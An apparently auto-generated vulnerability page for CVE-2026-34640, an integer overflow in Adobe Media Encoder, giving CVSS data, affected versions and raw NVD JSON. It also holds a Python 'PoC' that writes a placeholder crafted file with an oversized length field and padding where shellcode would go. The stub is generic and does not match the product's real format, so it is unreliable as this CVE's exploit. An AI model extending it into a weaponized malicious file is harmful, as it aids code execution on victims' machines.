Security Vulnerability Report
中文
CVE-2026-34640 CVSS 7.8 HIGH

CVE-2026-34640

Published: 2026-05-12 18:17:10
Last Modified: 2026-05-13 19:36:50

Description

Media Encoder versions 26.0.2, 25.6.4 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:media_encoder:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:adobe:media_encoder:*:*:*:*:*:*:*:* - VULNERABLE
Adobe Media Encoder <= 26.0.2
Adobe Media Encoder <= 25.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # Proof of Concept (PoC) Generator for Integer Overflow Vulnerability # This script generates a crafted file that may trigger the integer overflow. # Note: This is a conceptual example for analysis purposes. def generate_malicious_file(filename): with open(filename, 'wb') as f: # Write a dummy header f.write(b'MOCK_FILE_HEADER') # Write a specific field that triggers the overflow # Example: Setting a size field to 0xFFFFFFFF to cause overflow when incremented # The application might calculate 'size + 1' resulting in 0 malicious_size = 0xFFFFFFFF # Pack the integer (assuming little-endian 4-byte integer) f.write(struct.pack('<I', malicious_size)) # Write padding or dummy data to fill the buffer # In a real exploit, this would contain shellcode or ROP gadgets payload = b'A' * 1024 f.write(payload) print(f"[+] Malicious file generated: {filename}") if __name__ == "__main__": generate_malicious_file("exploit_test.bin")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34640", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:10.447", "lastModified": "2026-05-13T19:36:49.640", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Media Encoder versions 26.0.2, 25.6.4 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:media_encoder:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.6.5", "matchCriteriaId": "2B747DD0-1CE0-46DC-8558-BEBB0DA054EC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:media_encoder:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.2", "matchCriteriaId": "F64E146E-B98E-4E80-81CE-1B64808C57FD"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/media-encoder/apsb26-47.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}